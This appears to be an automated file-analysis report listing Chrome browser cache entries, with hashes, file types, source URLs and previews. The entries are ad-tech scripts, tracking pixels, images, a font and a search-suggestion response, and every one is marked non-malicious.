Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C source, ASCII text, with very long lines (30726), with no line terminators
Category:	downloaded
Size (bytes):	30726
Entropy (8bit):	5.391815082267386
Encrypted:	false
SSDEEP:	768:dUqVH4yHoIWXonTpBcEcuPIFw5r+zcxKwMg:uOH4ApBcEci+w9+zcxKwMg
MD5:	F9F58BC68B0545C4ABA1ABC664A22B74
SHA1:	F4C51D449BF10280A6E13BBF1C39B28E5316BE84
SHA-256:	1E7ADC9A24A57746863EF54F2DE5F8905C242EBC6D416713133FF989FB050222
SHA-512:	856AB15C1FC66B50F4955C0611D688A13DB3BC95FBBB8A0A86449B7B61A971AFF610BC193B6073A7F09756F2C030EE7BA2CB854778C529F9E3E2923FA8B2CC19
Malicious:	false
Reputation:	low
URL:	https://ads.rubiconproject.com/ad/17250.js
Preview:	var SchainValidator={validateSchainString:function(n){if(!n\|\|"string"!=typeof n)return!1;if(/\s/.test(n))return console.warn("Invalid schain: String cannot contain spaces"),!1;var e=n.split("!"),a=e.length;if(a<2)return console.warn("Invalid schain: Contains 0 nodes"),!1;for(var i,t=!0,r=0;r<a&&t;r++)var o=e[r].split(","),t=0===r?2===(i=o).length&&i[0]&&i[1]?/^\d+\.\d+$/.test(i[0])?0==i[1]\|\|1==i[1]\|\|(console.warn("Invalid schain: complete flag must be either 0 or 1"),!1):(console.warn("Invalid schain: version must be in the format <major>.<minor>"),!1):(console.warn("Invalid schain: There must be exactly 2 properties before 1st node: version and complete flag"),!1):function(n,e){if(n.length<3\|\|!n[0]\|\|!n[1]\|\|!n[2]){console.warn("Invalid schain: Schain node "+e+" does not have the minimum number of properties. asi, sid, and hp are required");return false}if(n[0].startsWith("http:")\|\|n[0].indexOf("/")>-1){console.warn("Invalid schain: Schain node "+e+" asi should be the canonical domain n

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (62653)
Category:	downloaded
Size (bytes):	62706
Entropy (8bit):	5.207278644525057
Encrypted:	false
SSDEEP:	768:om3mrkvlrDsmbJcmxhsmOs0JR7sPwBchRmOdcCUVdLME58CObWa4YctGxkz49OZb:tskOIQ5rhwRixdC1v4mfTRNWc0gQR0Y7
MD5:	6FF52718B218FF89FFEDFF41CC4107B8
SHA1:	771E43B1E5F6CCE577B17C077FB8D630213D7675
SHA-256:	B4094406EE5344BE2AE14DE12FAE5FD762337A58D20347D85EF16B28FAB37992
SHA-512:	6495B9AA144261AFEBEDC77477B24D03C3012D3DBAF62DBD3ECDAECDB8B137A573A5D208C2A5692F03218D878E07CF5AFFCE03C05E14AE360F0953BE376CBB36
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cx/hp-viewer/desktop_1.11.171.modern.js
Preview:	!function(){"use strict";const e=["finance.yahoo.com","news.yahoo.com","sports.yahoo.com"],t=new RegExp(/rs="([^"]*)"/),i={lmsid:"lmsid",lpstaid:"lpstaid",lu:"lu",pct:"pageContentType",pd:"pageDesign",pl:"pl",pt:"pageType",revsp:"revsp",ver:"appName"},s=["ctopid","hashtag","wiki_topics"],n=["defaultLREC","lighthouse","spotlight"],o=["pd","pt","pct","lmsid","lpstaid","hashtag","pstaid"],a={att:"yhp",autos:"yautos",entertainment:"yent",finance:"yfin",fp:"yhp",gma:"ynews",lifestyle:"ylife",movies:"ymov",music:"yent",news:"ynews",sports:"ysports",style:"ylife",tech:"ytech"},r={hashtag:!0,lang:!0,region:!0,site:!0,spaceid:!0},c=["lmsid","lpstaid","pt","pd","ver","pct"],d=["sda-COMMENTSWFPAD-iframe"];const l=e=>new Promise((t=>setTimeout(t,e))),h=(e,{className:t,id:i,tagName:s})=>{if(e)return t&&!e.classList.contains(t)\|\|i&&i!==e.id\|\|s&&e.tagName!==s?h(e.parentElement,{className:t,id:i,tagName:s}):e},w=t=>{if(!t\|\|t.startsWith("/"))return t;const{hostname:i,pathname:s}=new URL(t);if(e.include

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26028)
Category:	downloaded
Size (bytes):	350236
Entropy (8bit):	5.292539696641975
Encrypted:	false
SSDEEP:	6144:B66EgFPI0DmqbMFvMskGu/B/QOuThBurjvTSd3mxUp:7PICVAxLkG8rqt
MD5:	34EFF83E96C47B0BCC46E4E1ABAE513D
SHA1:	E48E617AC69172336F7B02982D7586CCEA1F6F0D
SHA-256:	EFA689F8CE0FEACD99E4447A6152ACB1BF2C7F944721DDB7089B18D65F4BBB7D
SHA-512:	24A1BEE21161A5F5E54B7AFEC0027DDBB0D875300072CBBF7649D9565F863702C1CEE55DA5BD161389B8BE35A7380808A86DC5EC024231CA531B3F6F36109281
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/player.js
Preview:	!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports):"function"==typeof define&&define.amd?define(["exports"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self)["lottie-player"]={})}(this,(function(exports){"use strict";function _typeof(t){return(_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}var REACT_ELEMENT_TYPE;function _jsx(t,e,r,i){REACT_ELEMENT_TYPE\|\|(REACT_ELEMENT_TYPE="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")\|\|60103);var a=t&&t.defaultProps,s=arguments.length-3;if(e\|\|0===s\|\|(e={children:void 0}),1===s)e.children=i;else if(s>1){for(var n=new Array(s),o=0;o<s;o++)n[o]=arguments[o+3];e.children=n}if(e&&a)for(var h in a)void 0===e[h]&&(e[h]=a[h]);else e\|\|(e=a\|\|{});return{$$typeof:REACT_ELEMENT_TYPE,type:t,key:void 0===r?null:""+r,ref:null,props:e,_owner:null}

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7380)
Category:	downloaded
Size (bytes):	7385
Entropy (8bit):	5.784229903252877
Encrypted:	false
SSDEEP:	192:6FStg06JPFkJFmJF3f36AlNgPUetnKW9uFFd66666GRsQiVQB:0eSPMmfv61nW66666Ss/Vs
MD5:	BA4BEB4662D8F120F6F3C8557725D769
SHA1:	4793D6C79328BD5A365CD6EB11BDA8AC8F0F0C78
SHA-256:	66D347914398FED70F0111F88D0C5D442898E7077DCB7F661D6E889FA2F1428B
SHA-512:	CB1550DACBEDAF4D47F5D60D29E9C18343FBD119DCE7989D75BD1BB2FAE81506A210C1AAE77464A4F0215A5116D90C7247AF028AE91F92C0BA250EE47BDC3B14
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nhl winnipeg jets","lottery mega millions powerball jackpot","cbs ncis hawaii","helldivers 2 major order penta","tyron hopper draft","slipknot drummer eloy casagrande","alphabet stock dividend yield","tyler nubin nfl draft"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"google:entityinfo":"CgovbS8wZ3Z0OHN6EiFXaW5uaXBlZyBKZXRzIOKAlCBJY2UgaG9ja2V5IHRlYW0y9hNkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUVBQUFBQkFDQU1BQUFDZHQ0SHNBQUFCRGxCTVZFWC8vLzhFSGtGVlZscU9rSkJRVVZVQUhFQ1JrNUtFaG9hSmk0c0FFendBRmowQUdENlZscFVBR2o4QUVUc0FGVDBBQUNvQUNUa0FBQ2E4dmIwQUFDN3k4dktzRml3QUFERTJRRlg1K2ZtYm5aM056czVhWUd0Z1pXL2w1ZVVBQURTdnNMQnNjWGhOVkdNVEpVVkVURjJibnFmWDJOdERSRWw5TFR4Z1RWTW5NMDI0dXNCOWdJUXRPVkN3RUNuR3g4eHlGU3JpMTltdEFCK2lIVEJ1ZElLQmhwSUFBQXNBQUJwbWFHclZ4c2llUkZCZlpYYU9BQWllQUF2SnJMQnZBQm1GTzBhdUFCS0dLVG1MVjJDWElUT1daR3lwaG95R0hqQnZXRnhwU2xITXVMdTNsWmxvQU

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, WAVE audio, IEEE Float, stereo 44100 Hz
Category:	downloaded
Size (bytes):	189160
Entropy (8bit):	7.422217355234855
Encrypted:	false
SSDEEP:	3072:e9wzBZw8XQP5WSNXh/gxEuIwb26S+Q8A89FVA4CmtB59JtjIcAqOCJxoHStwNp+b:rw8gP5WStapIO2j+PA8bPJXfx2SGsTH
MD5:	8ABFE6DFA7B0D9A5A4B7268155054740
SHA1:	FE841D96C94923C7732014A81BCB574FE2C10584
SHA-256:	75799B61C8D93B46365AE3A603EF508ACEE921ADBF2ABF4ADA583FC4E0E4BB82
SHA-512:	A6A475C64D5E0BC3CB94BD38B38DA66F5B4470F50738286F2D42030D2E32EF15D6C795DFA8DA36502E536819DABABE9386CA7419F2C6CB0E8580053ACE1166D4
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/pv/static/misc/voice-start-202105050733.wav:2f75b202d8e2af:0
Preview:	RIFF....WAVEfmt ........D... b.... .datah...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
URL:	https://sync.crwdcntrl.net/qmap?c=240&tp=PUBM&tpid=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B&gdpr=0&gdpr_consent=
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6645), with no line terminators
Category:	downloaded
Size (bytes):	6645
Entropy (8bit):	5.153971139811532
Encrypted:	false
SSDEEP:	192:3e4uADK8v5xzWosWjYugPwNC96vTrWJcXux8jVD:3qA+8nWofjYFPwo6vTrq0uep
MD5:	2E3968239B770B8186BB480D513311CD
SHA1:	E2583E321454F9F48193918E3316533226ED62FA
SHA-256:	D77E659299C397037513AFF88093B64F6CE29994B94D99256AD84A7910C0CEB3
SHA-512:	487F486C165C5E6FAD46A8BBCB6279147FA93D3D3A004327D0DFDEA5040F9B320FE5439A0E2E849DFBB8CBB4FC1ADFDF6647BCCA1DDECCAAD5C36093FCE7A2B2
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-image-1.4.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-image"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(a){if(r[a])return r[a].exports;var o=r[a]={i:a,l:!1,exports:{}};return e[a].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var r={};return t.m=e,t.c=r,t.d=function(e,r,a){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:a})},t.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(r,"a",r),r},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	108
Entropy (8bit):	4.661274308676224
Encrypted:	false
SSDEEP:	3:YxhA43BGd+ndIR06pACNNpAcANQDxPPX56n:YnR4ZUWAcANQtPvo
MD5:	80656731A22D285D7C2CFD44F5AF8371
SHA1:	5EF4BC6ADE46F80373910083832B688111D37C82
SHA-256:	182C1E425A5E6702DDEF963977A212C6D017E32C11DE7D10A0FF18F7932BB6E7
SHA-512:	F5E3F56778DC7FE5A93F739BA1C360F45BAFAA2BEA8607FB433DE7F0F40395DED0586A4F7E5EE79456188C42DAD172AA18310C9239CB0C2AF763BCEB18FC8956
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/rid?ttd_pid=yieldmo&fmt=json
Preview:	{"TDID":"43e7dc8e-5458-4375-be4a-644737ed4dbd","TDID_LOOKUP":"TRUE","TDID_CREATED_AT":"2024-03-27T22:42:11"}

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2553)
Category:	downloaded
Size (bytes):	23530
Entropy (8bit):	5.497656132776961
Encrypted:	false
SSDEEP:	384:kM/aDTs87Jbt81zUbdLZNaAsoSfX/KPH7T3BZdeX2hGWNH0pKyzy4dYlkWyv7S/v:J/aXskJt8xEdLZNaNtfX/KPH712X2hGK
MD5:	7FBC48EABE9BB1BEF523CF346C9E5363
SHA1:	FAB1C4A60DD82A0EA5EC61EE75A9D3D9DBA2472B
SHA-256:	51586EC2D56DC12C32B65B0612D89695B3A5B7D0C91592ACAD6EC8A04F8701AA
SHA-512:	EC7DED2166D3A59AF2A7EF2D792753007F4F7C872FE1842D9340080580BB4C56951F2C5DBC4E4BA71BAC8D1B43CF961FC10BF3336BF7F5980DD972B559B2F43E
Malicious:	false
Reputation:	low
URL:	https://pagead2.googlesyndication.com/pagead/js/r20240424/r20110914/abg_lite_fy2021.js
Preview:	(function(){'use strict';/* . . Copyright The Closure Library Authors. . SPDX-License-Identifier: Apache-2.0 .*/ .var m=this\|\|self;function aa(a){a:{var b=["CLOSURE_FLAGS"];for(var c=m,d=0;d<b.length;d++)if(c=c[b[d]],null==c){b=null;break a}b=c}a=b&&b[a];return null!=a?a:!1}function ba(a){return a};function ca(a){m.setTimeout(()=>{throw a;},0)};var ea=aa(610401301),fa=aa(188588736);var n;const ha=m.navigator;n=ha?ha.userAgentData\|\|null:null;function ia(a){return ea?n?n.brands.some(({brand:b})=>b&&-1!=b.indexOf(a)):!1:!1}function q(a){var b;a:{if(b=m.navigator)if(b=b.userAgent)break a;b=""}return-1!=b.indexOf(a)};function r(){return ea?!!n&&0<n.brands.length:!1}function ja(){return r()?ia("Chromium"):(q("Chrome")\|\|q("CriOS"))&&!(r()?0:q("Edge"))\|\|q("Silk")};function ka(a,b){return Array.prototype.indexOf.call(a,b,void 0)};function la(a){la[" "](a);return a}la[" "]=function(){};!q("Android")\|\|ja();ja();q("Safari")&&(ja()\|\|(r()?0:q("Coast"))\|\|(r()?0:q("Opera"))\|\|(r()?0:q("Edge"))\|\|(r()?ia

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CU9yltxlHh/:m/
MD5:	DF3E567D6F16D040326C7A0EA29A4F41
SHA1:	EA7DF583983133B62712B5E73BFFBCD45CC53736
SHA-256:	548F2D6F4D0D820C6C5FFBEFFCBD7F0E73193E2932EEFE542ACCC84762DEEC87
SHA-512:	B2CA25A3311DC42942E046EB1A27038B71D689925B7D6B3EBB4D7CD2C7B9A0C7DE3D10175790AC060DC3F8ACF3C1708C336626BE06879097F4D0ECAA7F567041
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86256
Entropy (8bit):	3.9402789646044405
Encrypted:	false
SSDEEP:	768:U2lIP6ali0216w05Ou7oiHUMMH2U7268sVvw3EMr3T:cP6aE0enfu0EUMMH24268sVvw3EMr3T
MD5:	F85093458F6596D54D6C7BA3309EC8F8
SHA1:	6610E9F2794DDA75702E4157BBD1AEB673FA3411
SHA-256:	6701B543BB0D8B239A1E0AE4CBB4A4D2A5C66B648308CE9BA24293D8AFE6DFFA
SHA-512:	710A2242E2E4ACCFA0630B6DCA547372E548CF4AED103A31D6E3FE98B0AC9C4750AB5C19925090D4D3DF7F1D104087A9F33B06D4B808784FCF0F2843439C9CFC
Malicious:	false
Reputation:	low
Preview:	{. "brandProtection": {. "badv": {. "1111.com.tw": true,. "1962pac.com": true,. "1keygou.com": true,. "2020upto.us": true,. "2363.org": true,. "350.org": true,. "3oaksorchard.com": true,. "43cbd.com": true,. "4everstamp.com": true,. "53peaks.org": true,. "60plus.org": true,. "76place.com": true,. "814isnotok.org": true,. "AmericasSpirit.org": true,. "BetterTogetherVillage.com": true,. "DanBooneForHuntersville.com": true,. "DeLuzioforCongress.com": true,. "Rugbyaddict.com": true,. "Socceraddict.com": true,. "TennisWorldUSA.com": true,. "TwilaCarter.com": true,. "Winred.com": true,. "a1apac.org": true,. "aaa.asn.au": true,. "aarti4communitycollege.com": true,. "aax.com": true,. "abbyfin

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1549
Entropy (8bit):	7.68911639521585
Encrypted:	false
SSDEEP:	24:Py1nfBWui8FepGcWGRp7YqGqwXeIiMNZIFJd7kG5H7a1dlgwm/2IlMTEGe:I8BG0VYqG5l1NZWJf7YgvVloEGe
MD5:	B2B37AA9F64082EEEDB9670C620BACA1
SHA1:	BAE0DECAF4DD31625A5E9E1D384AC0D85FAD0E4E
SHA-256:	C9658821B2D9D149EB6D868C6CE8811406C6E8FB1F74104EB480264F94836428
SHA-512:	86AEE8D58393F05D769E978FDCDA738FBCBFB8545F419E4D92F75E0D4AB43A9E846B66EBD8D348DD20A4BD2F906E117C0192AA8FB604F937CB7A1FFF30000723
Malicious:	false
Reputation:	low
URL:	https://d31otfhas71ais.cloudfront.net/images/button.png
Preview:	.PNG........IHDR...2...2......?.....KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?> I.:...}IDATh.._L[U..?-.C:]...%lns]..f.Ix....\R6c......,[4Y...o.,.D....23.6....&.1c. ..0W.HL.2...i..pn).{...s`.'........;....>dQ.<...{.G...7....?._.)`...fd.;l&..h.Z..-........U#V.y......V.W..\|......\......-.l..\|^....t..n..f..x.U..5.t.($.....!.d...]..!'..........L..ac..r%R.\|.4H4e....r....q!>.:...R..`.%..p@.#.<..i4`.H.....G'..g.2.m..kb....^.X.....k.........A....zi..WA....N....{.M...'\......g ... S....d.$.<J'....2..... .......w_...i.@{....U).]nN..J...e^..-.%...^.....r..~6.9..U.Zv.pg..c....x.x.....GdE.i1../SYR...5.v.9..!\|.\|Dg..$..+!@....u..Y.3Q..^.v[-.......GI.&.i1..7..1......K.!Jue.......Cve.p..O.

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1000x800, components 3
Category:	downloaded
Size (bytes):	74329
Entropy (8bit):	7.872887708654891
Encrypted:	false
SSDEEP:	1536:Pk2xMi2OVQHg/RJMTHDS+uQzfSKkKUY0kywfsW3eYY2b0C:vxUOjRJcDSrSSKwYswfp3/zp
MD5:	755D33FB2F75BDB23754DCFD2F98CDC4
SHA1:	9F5817F247153920161099EA127D9F3503A591C7
SHA-256:	B8839AE12B6A3B22D766B541D54362C0A3FEF180BE757C7CE5AB47740C5299F0
SHA-512:	DAF9B0AE377C7E9EFD53C71F45E5DB7F96C373BAB7AC59B8F5AAEEDF42849943EF583C91D2312E19098B007899C7750943D6C20AD2295534F879068338D04881
Malicious:	false
Reputation:	low
URL:	https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/images/img_1.jpg
Preview:	......JFIF...................................................%...#... , #&'))..-0-(0%()(...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... .............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..~c..`f\.03.Z......Mb.6P...i...'....7.'F...........TA.."....%.D2.).a.D.).a.(...1.@..P.PI.U.B..kS.....P.P.....@....@.sT..h...P(..P;..,....X\P;..jB..p.l..`. ..P...w..(.XB(.........Z..,".x.. ..@....h.2.@........T..].b7ZC#h....@.Uh..1...:..!.C....T....qAL.7.@..l9z..:..~Q[...H.(.C.T..4..Z....$..U.B...+....2Z..fM.d..J..UqPX...@......J.(.....@.@.@..&.P..)..1MQb.[.jV...\.H*l;.....

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28860, version 1.0
Category:	downloaded
Size (bytes):	28860
Entropy (8bit):	7.992498884153561
Encrypted:	true
SSDEEP:	768:7WIrHYDg8fVb6/UnafVYHsXxVSfRI046OK:7JrHw4snausBVSfRI0EK
MD5:	A99B283070AFC519F4816E4300C515D2
SHA1:	65B78D03D56DE125060E61069DEBFC47E38FB3DF
SHA-256:	FC0E2DF417E7959509DF87DF6B4DE2EB1479C8718BC2D8AB0BC70D3753C68560
SHA-512:	6537ED0ABBB667225D75191881F8498C082F1CBFA22BE27B135AA393AA16011561F1A2EE11B09EA9CF3FE0D7884191B56A702256A0BA41B96EEB7019832C3435
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2
Preview:	wOF2......p...........pY...........................8..T.`..T.....s.....L..<.....6.$..0. .....,..V[0nq..k...z...7...V.nb....<{..n..q0.nO......I%.K....c.f.?.rw+..@f .(..{&J.9.Z1a.@..2Z.g.....Ful(......AG.%.Mf..<.h.)...^..-.L..l.......O3.}..%..q..8........i..Z.ux.....[.:......\...)[......T..;}...:..'$;.8h.g.b.a...Q...,n].....3.'gO8..G..V..z....]t..,W.U@96.F.r..K..._u.>..8Q{.3.A.p~.....6`..ck.Q....-..dT.%S.hll@.....$........U@...7{.'M.`$.aZ......"p..G..?.......3a-.=...@.X......SaQ.m"..\y...b.........f.y..\wP?0.......{>...v..R._.&..5....C"D..2$.\|y(.....3....Z.R.V................Z-9.m.vd....33..9-`N..,a..tJN..9-....Osz...<......{....a@R..Xd..9%..-?..$NL.R.M..b..d..)..ma..#b...h(.mK..'....9&.P..:....A..%../.o.lMl#MP.F=....R..x......*..K.....{0@.._...r.t'6.-.]j.^.o.[k:......C)..D.e%..;K..[A.-...k.C........4......%\|H.%....A.A...'tO/.+.xMV\2.:.~]..W.....1.3.s.i".a.c.......)#....~..........p..wu.s.].`..e..:..v.:.P.._......_.y.#...d.U@.X.[}.-o.......i7.

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://dsum-sec.casalemedia.com/rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0&C=1
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	13
Entropy (8bit):	3.5465935642949384
Encrypted:	false
SSDEEP:	3:YHAXW2Vn:YglVn
MD5:	97EFE0B7EE61E154D57E80758BB797D8
SHA1:	810B4E115FE9F5AE697666FEBF2A9ABF0B21C9EC
SHA-256:	EFABBA3678B85FCAB831B778EA2DDAAD1E2A1E952584D3566BC39B7CCB3429D9
SHA-512:	AA02209CF80FC2564CE0DB0BF9F30241E92EA33101B55FFE5E26D617F90B74277AE68D714A7B00C792EF2B88B582E3F299213A5C3C9BF9AFE6C6C1800FC276AF
Malicious:	false
Reputation:	low
